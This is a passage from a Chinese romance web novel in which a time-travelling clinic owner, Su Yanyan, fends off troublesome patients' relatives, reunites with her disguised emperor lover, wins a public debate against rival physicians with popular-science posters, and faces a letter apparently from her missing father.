喝药也只是治标不治本,龋坏的牙齿在口中一日,细菌炎症如跗骨之俎,啃噬牙神经,让疼痛如光下阴影,一直跟在身后。
祝大宝日日喝苦药,喝得脸都绿了。每日睁开眼就要喝苦药,喝完撑得肚圆,哪里吃得下饭,打嗝都一嘴苦药味。挨到半晌,刚能吃几口饭,又到了喝苦药的时候。
几日下来,祝大宝硬生生在家饿瘦了,除了苏颜妍拔除的那颗,其他龋齿由上火引发炎症,牙疾复发,疼的他嗷嗷叫,恨不能一路在地上滚来滚去,或跳进河里。
祝大宝受罪,祝家妇炸了窝。
苏颜妍只是没能立刻让祝大宝痊愈,她们就能跑到回春堂撒泼。现在,祝大宝不止是没有痊愈,牙疾还更加严重,疼得要死了!这和剜了她们的心没有区别!
张神医人在家中坐,锅从天上来,喜提苏颜妍同款待遇,被祝家妇找上门来,撒泼大闹。
这一刻,张天翼张神医体会到了苏颜妍的心情,这群妇人真的是和我同一个物种的人吗?还是她们压根就是另一种生物披了张人皮。
之前他站在苏颜妍对立面说的话,一句句成了回旋镖,刀刀插在自己心口。
祝家妇熟练的一哭二闹三上吊,更是让他两眼一黑。
打也打不得,骂又骂不过。就算有其他医馆派来的帮手,一直试图救出张神医,张神医也狼狈的很。头发被不知道哪一个妇人用手撕扯了下来,衣衫凌乱,脸上挂着几道红痕,仿佛被蹂躏了一般。
给老爷子气的吹胡子瞪眼,撒手撂下一句狠话,就离开了混战圈。
“一群泼妇!你们家的人,老夫治不起,日后也别找我医治!”
什么医者父母心、仁慈、博爱,这会儿都是过眼云烟,从张神医身上消散。
小桃脸上挂着普天同庆、大快人心,叽叽喳喳和苏颜妍分享那场景,听着就解气。
“那老头之前还有脸说师父,哈,现在他这个样子,连
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咱们半分都比不上。伤没在自己身上不知道疼,现在祸临到他头上,知道这群人棘手了吧?”
苏颜妍料着祝家妇人们会闹,但没想到会把场面闹得这样壮观,替她狠狠的打了张神医的脸。别说,只要事情不是发生在自己头上,当旁观者吃瓜还是挺爽的。
现在她完全认同了小桃的话,这群妇人沾不得惹不得,离她们越远越好。就让她们去祸害其他人吧,千万不要再来回春堂了。
苏颜妍的愿望没有成真。
这群祝家妇撒泼闹完张神医,转头就能若无其事、厚着脸皮来到回春堂。他们家宝贝祝大宝牙疾还没康复呢,等着苏颜妍救命。
苏颜妍:……
她的命也是命。
这群大婶们是怎么做到前一刻还和她翻脸讹人又造谣,后一刻就像事情从没发生过一样。
祝家妇:脸是什么?能吃吗?只要能治好我们家大宝,跪一跪、求一求,能让苏大夫去救命就好。
凭着这种心态,她们团团在回春堂门口长跪不起,谁来劝也不听。口口声声哀求苏颜妍高抬贵手,她们认识到之前的错误,请她抛除成见,再去救一救祝大宝。她们祝家人现在要啥给啥,砸锅卖铁都要请到她。
这场面,谁看见了不说她一句命苦。
这一手,真把苏颜妍架在火上。要赶她们吧,人家也没在回春堂里面,就跪在门口;说她们妨碍别的病人来看医生吧,她们还让出了路,并不阻挡别人进出。
别说,乍一看一群妇人长跪在医馆门前,还以为他们医馆是什么见死不救草菅人命的冷酷地方呢。她也不能见着每一个人都去解释两句,说这群妇人是泼皮无赖,之前刚刚和他们医馆反目,现在上门是想逼迫她们医馆重新诊治。
这谁信呀。
苏颜妍自己都觉得说这话的人是做梦没睡醒。
可就这样重新给祝大宝治疗,那她前几天受的气,医馆被造的谣,就当没发生过?这口气委实也咽不下去!这群妇人这是在道德绑架,软性胁迫!她们甚至都没有向苏颜妍诚恳道歉,难道就想让她迫于情势翻篇?想太美!
苏颜妍不是可以胁迫的人。要长跪不起是吧?那就贵吧。她才不在乎其他人的非议。
真要用言语胁迫攻击就以为能打败她,回春堂这会儿也不会是她当家做主。
太阳一点点移到半空,火辣刺人的阳光晒在地面,祝家妇一个个大汗淋漓、狼狈不堪。
萧景琮策马狂奔赶到医馆,看到的就是这群瘫软如泥的人。
萧景琮勒停骏马,马儿发出“吁——”的一声。前蹄高高扬起,落地尘土飞扬。他从马上跳下来,落下的靴子踏出清脆的响声。
萧景琮指着她们问周边看热闹的人群:“这是怎么了?这群人跪在这儿干啥?把医馆当成菩萨拜,怎么没带来些瓜果点心?”
周边人群笑声一片。
萧景琮说的甚是刻薄,但他人长得俊,便有那大娘婶子们和他搭话,添油加醋说了说祝家妇干的荒唐事。
萧景琮挑高了眉头,脸上挂上玩味的笑。
有趣,还是他亲亲女朋友身边更有趣啊。
56. 小别后,情意浓
回春堂外一阵鬼哭狼嚎,苏颜妍揉了揉眼睛,缓解长时间伏案工作的疲劳。
她问道:“外面又闹出了什么幺蛾子?声音这么吵,祝家的人再这样闹下去,就把她们赶走。”
旁边忙碌的几个学徒笑出声,回答道:“苏掌柜,不用您吩咐,有人已经动手赶她们了。您道她们为什么这样哭嚎,污水泼身上知道难受了呗。要咱们说,对付这种无赖,还得是仲景公子的手段管用。”
苏颜妍揉按眼眶的手停了,她愕然看向回话的人:“仲景?他回来了?”
一道含笑的声音传来:“惊不惊喜,意不意外,正是在下。小生给苏掌柜问好,苏掌柜安?”
来人正是萧景琮,遮阳帽一摘,室内都生出辉光。一路风尘仆仆无损他俊朗,一双灼亮的眼睛更显得他神采奕奕。
苏颜妍自己都没反应过来,她脸上已经挂上甜美的笑。她的眼神如蜜,一点点涂抹到萧景琮身上。
室内众人会意一笑,默契清场,将地方留给两人,诉说重逢的喜悦。
“想我了没?”萧景琮张开臂膀拥苏颜妍入怀,埋首在她脖颈间,深深吸了一口她身上馥郁的香气,问道:“怎么不说话?看到我惊呆了,还是以为自己现在在梦中?”
苏颜妍都没意识到自己此刻有多么甜,出口的声音都娇娇的:“你讨厌!总搞这种突然出现的事情。怎么不提前给我说一声呀?看我吃惊很好玩吗?”她沉默一息,又小小声说了句:“我想你了。”
二人相拥,耳鬓厮磨,萧景琮怎么会听不到她说的话。一股甜意从心中涌起又烧成火,火势熊熊烧到了眼,烧空他大脑。提前预热的台词,一句也说不出,只想让这把火从相拥的地方传到对方身上,两人一起燃烧、燃烧,化成灰,融在一起,永不分离。
他沙哑低声,声线如绷紧的弓弦,每发出一个音都孕着深情:“好姑娘,我也想你。一路上归心似箭,带着一身尘也要先看看你。”
他又低低笑了几声:“惊喜有什么不好?我回来这不刚刚好,帮你解决了小小的难题。你真是,没我在眼前盯着,总是被麻烦惹上身。我赶走的那群,她们有没有惹你生气?”
苏颜妍:她说一句生气,那些人怕不是要物理消音了哦。
她摇摇头,闷声道:“拔牙引发的小插曲,还帮助我查找到漏洞,算是间接帮了我一个小忙。”
萧景琮就又笑起来:“就你心善,怕我一个命令下去,杀了她们啊?拔牙,你当所有人都和我似的,不讲究那些繁文缛节吗?你亲自给她们哪个拔了牙?”
苏颜妍:……这个醋桶!小心眼起来怪刻薄的。
小别重逢滤镜碎了一地,这会儿眼前这张俊脸不再迷得她满脑子泡泡。她鼻子闻到尘土与汗液的味道,也能看到萧景琮脸上身上凌乱狼狈的样子。
噫!有点嫌弃!
她刚刚就这样无视这些和他搂搂抱抱吗?
回神后,她鼻子痒痒的,打了个喷嚏,嗡嗡着避开萧景琮哀怨的眼神:“那啥…你先去洗漱一下,咱们慢慢聊。”
萧景琮:……这个翻脸无情的女人!
他愤愤起身走向内室,休整仪容仪表去也!
祝家妇一走,医馆便正常营业,小桃和一众学徒们完全能胜任,苏颜妍放心地溜号遁走。
萧景琮回京,她一下子安心许多,仿佛有他在,那些烦人的事就都成了烟的灰,轻轻一吹就能消失。
两人找了家酒楼,萧景琮大手一挥,包了整层观景楼,清场后卸下□□,那张粲然生辉的俊脸在苏颜妍眼前放大。
苏颜妍迷迷糊糊想着:嗯,这家伙一别数日,接吻的技术有长进欸。或许是乍一看见这张帅脸,美色醉人。
这次包裹着她的是清洁过后干干净净的清爽味道,是揉杂果香和玫瑰精油的味道……呀!这家伙偷偷用她特制自用的身体乳!好不要脸!
她调制的时候加的柠檬片和玫瑰精油是不是过量了,怎么这味道这样浓郁、后调这样缠绵,都要把她熏醉了……嗯!
……
“哎呦!你这女人,手劲还是这样大!谋杀亲夫啊你!”萧景琮揉着胳膊内侧,薄唇一片水色,唇角还破了一点皮,有殷红血珠沁出,又被他的舌尖灵活舔去。
苏颜妍比他好不了多少,只觉口腔内一片血腥气,舌根还酸酸麻麻的,嘴唇如同吃过特辣火锅一样刺痛。
她眼角睫毛濡湿,纤纤细指拈起手帕,轻轻擦拭额头耳后沁出的热汗。
听萧景琮装模作样的控诉,她挑眼乜了他一眼,睬也不睬他。
哼,得了便宜还卖乖的家伙!
“亏我家都没回,先跑了替你赶走上门的恶客,你居然就这样对我……”萧景琮兀自嘟嘟囔囔。
苏颜妍执起筷子,从方桌菜品里夹起一块云片糕,塞到他喋喋不休的嘴巴里。
嗯,世界清静了,鸟语花香,真好。
至于一口噎住捂着喉咙上蹿下跳大口灌茶水的那位萧姓男子,嗯嗯,只要耳朵过滤掉他的“唔唔”声,无视就好。
等这位多动症多语症兼亲亲抱抱黏黏怪终于恢复成潇洒贵公子样,老老实实坐在苏颜妍对面,她才优雅矜贵地开口:“首先,你跑来医馆是你自发行为,你不动手,那些妇人也不敢影响我工作。你揽功献宝的吃相很难看,念在确实让我耳根清净,就不扣你分数。其次……”
她伸出食指,抵住隔着桌子倾身凑近的俊脸,施力把它推回到腰正常板直的位置,屈指敲了敲额头:“我们现在还是恋爱关系,你还称不上是我的‘夫’,自然也不算谋害‘亲夫’。不要抢先越界,男朋友。”
萧景琮不忿:“哈?情夫也是夫,我现在连情夫也称不上吗?你刚刚亲吻我的时候可不是这样表现,是想吃干抹净不认账吗?”
苏颜妍脸上一红,这家伙,知不知道什么叫矜持啊!这话题算是聊不下去了!
她拍拍桌子,清清嗓,道:“最后,那群妇人变得这样麻烦,和你有很大的关系。”
萧景琮挑挑拣拣吃了几口菜品,面无表情捧场:“哦,和我有关,说来听听。”
苏颜妍:……对“情夫”这种名分这样耿耿于怀吗?和刚才判若两人了呢笑死!
她偷偷瞟他一眼,三分无语七分无奈说起张神医的事:“你专门请回来的人才,又犟又拧,掉进坑里拉都拉不出来。我和他算是志不同道不合,敬谢不敏,你打发他继续去各地发光发热吧,别让这位神医在京城吃瘪,一把年纪还要遭受毒打
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了。”
听她说完,萧景琮如同被点了笑穴一样,前仰后合,肚皮都要笑痛了。
“这张老头,仗着太祖策了个什么称号,一向傲的很。鼻孔朝天看人,我早就看他不顺眼想收拾他了。哈哈,现在他自己掉坑里,我见到他可要好好嘲笑他。”
苏颜妍:……好幼稚,不过确实很好笑。
她嘴角扬起,愉快地品尝酒楼招牌美食。耳边是萧景琮攒了许久的满肚子的话:“安南真是闷热,蚊虫个个大如斗,数量又多,成群一团团飞,像你这样水灵灵的小娘子,它们一天能吃三个。”
苏颜妍笑喷,这个大骗子,真能胡扯!
“那你找到那些隐藏起来的秘密人物了吗?你哥不是与你同去,他没回来?”苏颜妍不想听他真真假假夸大其词的安南野外生存纪录,赶紧切到另一个方向。
她在京城都有些想萧景琮,袁因和萧晟玹同样分别,应该也是一样的心情吧。
不知道那位镇南王是不是也和萧景琮这般,一身风尘也要赶着去见心上人。
萧景琮浮夸逗趣的表情隐去,恢复正经样。起码看上去是这样的。
他说:“安南府水深着呢,这次我们伪装秘密调查,还真查到了不得的线索。大哥留着那边盯着,搞不好能钓到大鱼。”
他停了一会儿,沉吟不语。手拿杯子翻来覆去转了几圈,定了定心,继续说道:“苏南星、你爹,这会儿就在安南,他身上应当有关键的证据。大嫂给大哥传过信,说荧惑组织有头目找上她,称她是少主。荧惑二十多年前一直是在南疆活动,安南王当时应与她们有过合作。现在每个捉住的探子都有一份口供,各种说法都有,只缺关键性的证据来佐证。”
苏颜妍一时也跟着紧张起来:“难不成,袁因姐还是真的公主?那她和你哥怎么办?”
“你这又是哪里来的奇怪想法?袁因那女人,怎么可能是先帝的血脉。”萧景琮头上的毛都要炸起来:“当年我为太子时,她和先帝可是见过面的,他们不可能是父女啦。”
萧景琮抖了抖,抖掉一地鸡皮疙瘩:“噫,虽然大哥和我们萧家没有血缘关系,一想袁因那女人有可能是我姐姐,还是恶心的要死。”
苏颜妍这下真是摸不着头脑了。她本来就不太知道苏父的真实情况,对袁因也只是欣赏她易容的本事,处于迷妹状态。
结合以前看的狗血剧情,构建出这么一个似是而非的结论。
萧景琮的否定,倒是让她松了好大一口气。毕竟事关男朋友的身世之谜,这又是古代,她难免担心萧景琮如果真的查出血脉问题,钻个牛角尖什么的,那可太不妙了。
苏颜妍拿过萧景琮把玩的酒杯,斟了半杯果子露。
半杯果酒下肚,她打了个嗝,颊边染上两抹胭脂色。她对萧景琮说了她这边杂七杂八的猜测,最后说:“原来袁因姐真的是骗我,她一本正经讲冷话真可怕,真真假假,好难判断。”
萧景琮双手双脚给袁因拆台:“就说要离那个女人远些,心眼子上长个人,朝中那些人精都不够她玩的。”
苏颜妍冲他笑:“不过她是站在你这边的,这样一想,也就没那么怕啦。”
萧景琮就呆呆地看着他,一时怔住了。
57. 来点刺激的
暑气渐消,酒楼临水,暖风夹带着湿润水汽,吹在人身上,阵阵微凉。
苏颜妍说完话,萧景琮没有接,两人对坐,一时静了下来。
苏颜妍也学着萧景琮刚才的样子,拿着酒杯一下一下在手里转着,眉眼含着醺然的笑意。
萧景琮肚里有千种万种的话,却突然说不出口。那些话,就像苏颜妍说袁因一般,真真假假、假假真真。她说想起来有些可怕。
他不想她日后想起来,也觉得他可怕。
可是那些真心的话,一个一个字又那样重,沉沉的坠在他心里,他费了很大的力气,才一点一点的把话挤出来:“皇室宗族对血脉子嗣的看重,不是像话本编的那样离谱,一点小伎俩就能偷龙转凤或狸猫换太子。”
“我的父皇尤其多疑,他本就子嗣艰难,母后诊出喜脉后,她身边的人便换了好几批。你听你父亲说的,皇后生产时只一个奶嬷嬷陪伴的情况,是决不可能存在的。若非父皇亲自下令调离守卫,长乐殿三门十八卫,围得如铁桶一般,飞进只苍蝇都会被查一下公母。”
“你听到的那些话,要么是你父亲说的假话,或许他自己也判断不出。要么,就是当年父皇亲自做的局,故意引有心人进去,借势谋局。”
“你父亲,很可能是后者。他自以为得到了天大的秘密与把柄,可以谋取算计些什么,可惜技不如人,他获得的,都是别人已经布好的局。”
苏颜妍玩弄酒杯的手停住了,她为听到的皇室秘闻感到心惊。
她问道:“你把这些告诉我,合适吗?就不怕我给父亲通风报信吗?”
倘若她真的是原主,听到自己的父亲身陷囹圄,或许真的会这样做。萧景琮太过轻易讲出本该绝密的信息给她听,是带有风险的。
萧景琮一副无所谓的样子,说:“你想说就说,我告诉你就做好准备,不管后果是什么,我都能解决。我也是想告诉你,多警惕你父亲,他可能并不安全,对你或许会产生威胁。”
确实,倘若苏父是主动参与到这件事中,他的失踪也可能是自导自演,只为脱身去谋划更大的计划。他主动放弃了苏夫人和女儿,任由她们沉浸在悲痛中,无视她们遇到的虎豹豺狼,艰难坎坷。
这猜测太过可怕,让她打心底里觉得冷。她期待这个猜想不要是真的,不然对原主和苏夫人而言,多么可悲啊。
萧景琮继续说:“如果苏南星真的是幕后主谋,那白延琅手里假死脱身的药物应该出自他之手。他们师徒之间纠葛不止表面那么简单,除了白延琅,或许还有其他后手安排,你要多加注意。”
他托着下巴若有所思:“苏南星此人医学造诣颇深,懂药理的人向来棘手。他如果真是幕后黑手,以防他暗算,张天翼那老头就不能放出京。那老头脾气不怎么好,脑子也不灵光,本事倒是真本事,能在医术上对抗苏南星的,恐怕也就是他了。”
苏颜妍附和:“那就留下他啊,只是你得和他好好通气,不然就他那个脑子,搞不好要拖后腿。”
想着那个犟老头,她那种无奈感油然而生。
萧景琮笑嘻嘻:“张家的人,脑子就没有轴的。他一进京就栽个跟头,这会儿应当也回过神来,知道是错怪你,指不定在家捶胸顿足呢。他要真是个老古板,我也不会专门召他进京给你添堵。”
“哦?是吗?”苏颜妍不太相信,总觉得萧景琮说起的人和她见到的那老者对不上号。
“比起他,我更担心的是你。”萧景琮说到这儿,饭菜是再也吃不下去了:“不管苏南星是不是背后黑手,在京中搅起风波。你是他的女儿,前段时间已经与他的徒弟交恶,袁因带你跟踪与他见面又暴露你身边的关系网。我怕他见事情失控,将火引到你身上。”
“我若公开与你的关系,他借由你接近我,更是个坏方向。不公开身份,你再遇到些事,我便不好立刻出面或动用官府势力帮你解决。唉,偏偏他是你父亲。我现在投鼠忌器,为难的紧呢。”
最后这句就带着点私人调戏了,苏颜妍白了他一眼,道:“真这么为难,我们何不做个局,演一场戏试探一下?我们现在不能肯定他是不是主动参与策划这些事,若真是他做的,他便是早就放弃了我与母亲。真是这样,我就当我父亲失踪就是死了,你就更不必顾忌我与他的关系。若与他无关,你说他现在人在安南,想必那些人也不会让他进京,风险太大。咱们在京中引出那些人,他在安南会相对安全,事后我们再去救他回家。”
萧景琮抚掌笑夸:“哎呀,小娘子好生聪慧,竟想出如此精妙的法子,可算是解了吾一大忧思之事……哇!”
他捂着脑袋幽怨住嘴,苏颜妍面无表情放下敲人的玉箸。
直到走出酒楼,萧景琮都对苏颜妍暴力行为耿耿于怀,他蜜蜂一样围着苏颜妍转了一圈又一圈,嗡嗡嗡着:“我不要求心上人贤淑温柔婉约娇美,至少不能动不动就拧我捏我掐我敲我打我吧…我不要当耙耳朵也不要像大哥那样没骨气…你不许再欺负我听到了没有……”
苏颜妍:……魔音绕耳,现在手就很痒,很想打人!
苍天啊,一个好好的美男子大帅哥,怎么突然就解锁碎碎念这种技能了!不管是谁,来个人把他带走吧!
苍天或许是听到了她的心愿,显灵了。
迎面向他们走来的,不就是他们俩大肆“非议”过的张天翼张神医么?
苏颜妍:狭路相逢,还真有点冤家聚头的感觉呢,呵呵,呵呵。
她和张神医对视,彼此眼中都有些尴尬。
张神医清了清嗓子,主动对她打招呼:“是苏大夫,前几日老夫错怪你,说了些逆耳的话,请你不要责怪,老夫向你道歉。”
说罢,他胳膊向前平举,躬身低头,态度诚恳地行了个礼。
苏颜妍连忙上前扶起对方,一叠声道:“张神医,当不得如此,您这样真是小看了我。人都有看走眼的时候,知错就改,有错必认,您已经自己给自己挣得尊敬。您是我的前辈,我们本就没有过节,一时误会,解开就好。这事儿翻篇,日后咱们可不要拘束,您看可好?”
这位老先生,可真是了不得。他是苏颜妍遇见的第一个如此干脆的人,人家有错是真认啊。
张神医半点不因对小辈低头而感到不自在,
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他笑呵呵扫了苏颜妍旁边的萧景琮一眼,那眼神睿智得很:“小友不怪罪老夫就好,否则老夫还真担心,咱们陛下要耍什么手段悄悄整老夫呢。”
萧景琮不由摸了摸鼻子,讪笑道:“手艺退步,让你看出来了。这面具哪里露出了破绽?”
他从酒楼出来时,就重新戴好面具,依旧是“仲景”的那张脸。这身份是他陪在苏颜妍身边专用的,他伪装手艺练得炉火纯青,自忖也能比得上袁因一半的水平。不想一个照面就被张神医辨出,奇哉怪哉。
张神医依旧笑呵呵:“老夫可不是看出来的,而是陛下之前出宫寻老夫,用过这张脸。”
哦,原来如此。萧景琮暗自点头,他和苏颜妍对视一眼,彼此都心领神会。
“正好遇上你,省了暗卫宣你过来。张爱卿,朕有事需要你配合,咱们好好说说话。”
“敢不从命。”
萧景琮带张神医离开,秘密说一些君臣间的小话。苏颜妍则回到医馆,细细准备施展“钓鱼”计划。
既然风暴注定要从她身边经过,那她可就要借着这阵风的力,做点什么符合穿越人士格调的事了。
比如:宣传宣传科学,来一点实证科学基础给哲学经验组们上点压力。
钓鱼么,只要饵料投的好,没有鱼儿跑得了。
当一个现代人开始整活,对如同生活在茧房的景朝百姓来说,就像一下子在石头房子里砸开一扇窗。
“请记住这些XX常识,为您家人的健康保驾护航“
“想知道的XX十大科普常识”
“一刻钟认识XXX”
“生活必备急救常识”
“长期XX可能预示身体的那些疾病”
……
一阵关于医学知识的信息风,由苏颜妍亲自扇起,并在短时间内爆炸式的呼啸横扫全京城!
回春堂外一天十张的科普海报,标题劲爆吸睛,内容实用通俗易懂,还有专门为不识字的百姓朗读讲解专员,还有什么比这更新鲜有趣还有用的?
京城百姓们彻底为这些珍贵的知识疯狂!
他们不懂别家医馆那些晦涩的者也之乎,邪郁寒瘀。总归就是几包苦药,散尽家中余银。
至于为什么开这个药,药为什么能治好病,病为什么不同人有的得有的没事,没有哪个医馆的大夫清清楚楚说个明白。左不过是XX有云。
但是,回春堂这边的科普就又通俗又清楚!
比如同样吃了果子,夫妻俩一个腹泻一个一点事没有,那个腹泻的,可能是对果子“过敏”。
嘿,身体的免疫系统认错人,把好的正常的东西当成坏人,在身体里打架呢。
免疫系统是什么?一看就是没从头开始追着看科普海报,来来来我从头到尾没落下我来告诉你——
这些知识每时每刻都在传播,新奇有趣,老人孩子都能听懂说上两句,更有那些“伤口快速止血小妙招”啦、“异物窒息急救法“……
这些可是真有人使用,实证有效的救命知识呢!
苏颜妍散播的超前技术科普,一跃成为最□□风眼!
58. 挑衅和算计
什么是降维打击,苏颜妍现在做的就是用超时代的知识量碾压填塞口耳相传的传统方式。
这些充满夸张与悬念的科普方式吸引力拉满,吸引眼球、刺激情绪、引发讨论。
百姓的讨论和学习,又增加了苏颜妍推广科普的传播度。当然还不可避免的在传播中混入了更加离奇神秘的成分。
鉴于苏颜妍曾经推行过的牙科宣传,现在这些或真实或猎奇的传言,让各家医馆警惕又好奇。
有思想开明活泛的,觉得有理开始跃跃欲试。有古板保守的,例如复康堂的陈掌柜,听到风声传闻只觉不忿,恶意满心。
他敏锐从纷杂的消息中嗅出机会与弱点。
消息的源头是回春堂,散布消息的人是苏颜妍。但传播的消息可不止源头那些,掺杂其他信息的传言,谁也不好说那些多出的部分是谁添油加醋,若是里面多了点错误的、有害的部分,恰好又有人相信苏颜妍,照做了……那这口锅,回春堂不背也得背。
到了那个地步,他可以联合京城众医馆,公开驳斥苏颜妍,指出错误的地方,嘿,他们就能踩着回春堂出名啦。
料想苏颜妍一个黄毛丫头,也推测不出前因后果,只能认栽。
陈掌柜想到这哪里坐得住,赶忙差人联络兄弟医馆,到老大林有仁那里,共商大事。
能和陈掌柜混成一团的人,心肠都是一般黑,一听能不费吹灰之力,就能让自家医馆踩着回春堂的名声成名,都满口赞成。
林有仁老奸巨猾,只管喝茶,并不曾出声反对。
锣鼓开场响三声,回春堂外,有好事者将最新的海报内容念给大伙儿听:“新鲜事,新鲜事。京城百余医馆,公开质疑回春堂苏当家。到底是一方离经叛道,还是另一方古板守旧,回春堂已经摆出道场,欢迎各位同行医者公开辩论,讲与大伙听!”
“啊,今天没贴必需记住的常识,我期待下一期好久啦。那些医馆真是多事,自己藏藏掖掖,连别人家分享常用知识,他们也要捣乱。”
“济世堂也出来发声了,他们家林掌柜医术人品也没的说,行医经验丰富。说不得,苏掌柜贴出来的知识确实有不合适的地方?”
“你害怕哪里不合适,干嘛还来这里等着看海报?去去去,边儿去,最烦吃着碗里看着锅里的,小人。”
“哎你说谁呢,我说句公道话怎么了,回春堂的狗吗,在这里乱咬人。”
“那你又是哪家的狗,跑到别人家地盘撒尿撒泼。你最好夹着尾巴回你主子那里缩着,小心走在路上,被侠士套麻袋揍一顿。”
……
纷纷扰扰影响不了苏颜妍,她早就做好准备,一切都在她意料之中。
搅混水这事儿,她只需小小伸出手,轻轻松松拿下。
就看她撒出去的这把饵,能吸引来几条鱼。
济世堂,林玉珠与白延琅两人,在苏颜妍手上吃了不少亏,见她应对的有模有样,心下发紧。
林玉珠便找到父亲,诉说不安:“这次是百家医馆联合出声驳斥,苏颜妍一点都不心虚,还摆出道场。父亲,她可能藏着什么后手,我们是不是暂时缓一缓,先观望观望。”
林有仁并不把林玉珠的话放心上,他这女儿自从算计苏颜妍折进狱中,出来后越发的不中用了。
整天和那个弃子混在一起,心思全然不在家族里,连争抢夺权的锐气都消磨殆尽。看看她现在,竟然怕了,换成以前能冲在前面战斗,现在不用她出面她都要缩起来,实在是扶不起来。
林有仁稳稳坐着,面上是不变的漠然冷色。他眼神一直放在手中古玩上,没给林玉珠半分眼光:“这事我已经安排,济世堂前面几次退让,已经有不少同盟医馆不满。现在回春堂吃到甜头,把持不住想继续扩大盘子,抢走别家的果子,故技重施,自然不需要忍她让她。更别说这次出头的是复康堂的陈掌柜,我们济世堂只是做主掠阵。这时候退让,成为众矢之的的那个,就是我们济世堂。玉珠,谨慎是好事,也要看情势。你如今心不在事业上,眼前被憎恶挡住,已经不适合代表济世堂。你不是喜欢姓白的那小子,他医学天赋尚可,你真放不下,可以选他留个孩子。你手中管着的势力,过会儿交给冯管家。”
林玉珠愕然惊叫:“父亲,您要夺我的权?!”
林有仁被她尖利的叫声吵到,眉宇间带上明显的厌恶,他冷冷地说道:“玉珠,爹教给你很多次,成大事者,脸要厚,心要狠,手要黑。瞻前顾后,守不了家业。既然没这个本事,尽早换一条路,生个一儿半女,培养下一代,多少也能存下希望。硬要伸手,是要被反噬的。”
“就为了苏颜妍?爹,你之前允诺过我继承医馆的,那我为济世堂付出的算什么?我不服!”林玉珠崩溃大叫。
林有仁终于挂不住近乎刺人的阴沉表情,冷冷地令人将林玉珠关起来:“你在质疑我的命令?玉珠,现在的你太让我失望了,好好反省反省,控制不住自己的情绪,就不用出来了。”
直到林玉珠疯狂叫骂声逐渐消失,林有仁才重重拍了桌子一下,起身召人安排陈掌柜见面,力求给苏颜妍一个下马威。
回春堂外新设的道场热闹非凡。
百余家医馆出动数十位名医亲自与回春堂苏神医,一条条驳斥苏颜妍散布讲授的医学知识,如同两方医者组成的战场,以唇齿舌为武器,势要诛灭对方。
这不比斗鸡观蛐蛐有意思得多!虽然他们嘴里连珠吐出的一句句他们听的一知半解,可是不妨碍他们看状态气势啊。场上一方是须发花白引经据典拽文的老大夫,一方是舌辩群医靓丽自信的女神医,双方从上午辩到了日上当空,以一对多的苏神医竟能不落下风!
现场除了护航助威的各家医馆随从,道场主人回春堂,剩下的大半都是闻讯前来围观的百姓。
他们有男有女,有老有幼,很多都是受过苏颜妍恩惠的,天然对回春堂带着信任和好感。
到了现场,目睹苏颜妍舌战群医的风采,见到她意气风发、神采飞扬的样子,更是崇拜不已。
肯定是苏神医无私奉献珍贵的医学知识,挡了这些医馆同行的道了,不然他们能用这些只要听听就懂随时可以派上用场的知识,就因为普通百姓不懂,随意掠走他们辛苦劳作省吃俭用攒下的银钱。
那么
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多男人欺负一个姑娘家,没品;那么多同行联手排挤真心实意帮助百姓的医馆主人,又贪又坏。
本想着通过对峙驳斥踩着回春堂扬名的其他医馆,不仅没能达成所愿,还被回春堂反向踩在脚底下,心态大崩。
加上苏颜妍伶牙俐齿,不管给她施加多少完美的传统医学论点,她总能从稀奇古怪的角度,挑出弱点加以驳斥,一套套歪理听起来还像模像样,细细思索,整个思路都跟着她说的话歪到歧路。
他们满心傲气的来,面对刺猬一般的对手,束手无策,动一下就扎手,心浮气躁,再也撑不起傲然自得的架子。
及至日头偏西,养尊处优的坐馆老大夫们又累又饿又困又乏,终于败下阵来。
苏颜妍凭借自己参加学校辩论会练就的思辨能力和语言表达能力,在这场言语战场中七进七出,大杀特杀,碾压式获胜。辩证道场大会,参赛对手们神情怏怏,不欢而散。
苏颜妍,一战成名。
就在苏颜妍凭借三寸不烂之舌大杀四方时,苏东林没有带任何人,独自拜访了苏夫人。
他给苏夫人见礼,恭敬呈送一份密封的信:“婶子,这次冒昧前来拜访,是我收到了十万火急的消息,不得不赶紧来找您。这封信是晚辈去书馆时,门童转交给我的。您看一下,晚辈收到后不敢耽搁,您是长辈,与苏三叔相关,请您做主拿个主意。”
苏夫人有些疑惑,拿过信笺展开,视线落在字迹上,就是一惊,紧接着就有些脚软。
这字迹,竟是失踪的苏父的手迹!这封信,难道是她夫君亲笔所写的吗?
信的内容解释了他一直没回家的原因,他前段时间被叛党绑架,一直囚在密室脱不开身。这次也是侥幸被徒弟白延琅救出,怕回京再次着了坏人的道,先安置在外头修养身体。
苏夫人与丈夫感情颇深,看到他被关押,心也跟着揪紧。看到丈夫获救,也跟着呼出一口气。她吃惊的是信中丈夫说曾在密室中见到过女儿,曾让女儿妍娘报平安,可是,妍娘从未对她说起过这件事。她更惊愕救出丈夫的人,白延琅,他不是丈夫失踪后就投靠济世堂了吗,怎么又找到丈夫,还将他救了出来?
苏夫人一时思虑过度,身体本就不好,心事重如石,压的她喘不过来,眼前冒黑星,差点晕倒。
苏东林一把扶住了她,将她安置坐在八仙桌边板凳上:“婶子,您注意身体,苏三叔的事还等着您拿主意呢。可不能倒下,祖妹难过,三叔更难过。”
苏夫人顿时更感天旋地转。
丈夫在信上表示:女儿妍娘已经成人,不要让医馆耽搁她的花期,让她尽快帮她找好人家,免得祸事牵连到她。他知道白延琅与妻女有不少误会,为避免她忧心,医馆就交由族侄苏东林打理。
正好苏东林一家上京学习,东林娘与妹子可以陪着苏夫人和苏颜妍,他在外也放心。
可是妍娘将回春堂管的很好啊,哪里用得着别人来帮。跟着别人讨生活,哪里比得上自己当家爽快,她不想委屈了妍娘。
丈夫手迹就在手上,一句句嘱托化为一把把铁链枷锁,拴在她身上,苏夫人心乱如麻。
59. 此间主人
失踪多日的丈夫突然传信,要把家业托付给素未蒙面的族侄,反让独女放弃握着手心的权利。就算这件事真是丈夫嘱咐,苏夫人也不想照做。
若是这封信在丈夫刚失踪、白延琅露出恶念时出现,苏夫人当然会依从,就像之前每一次都顺从丈夫一般。毕竟女子出嫁从夫,她与丈夫感情融洽,她放心丈夫的安排一如信任自己的父亲。
可现在,苏颜妍已经独当一面,当家做主。苏夫人的主心骨,也从依从丈夫转为依从女儿。
她攥着信,疲乏地对苏东林说道:“事情太突然,我不相信妍娘会瞒着我。医馆她已经打理的很好,不需要更换人接手。请你先离开,让我静一静。”
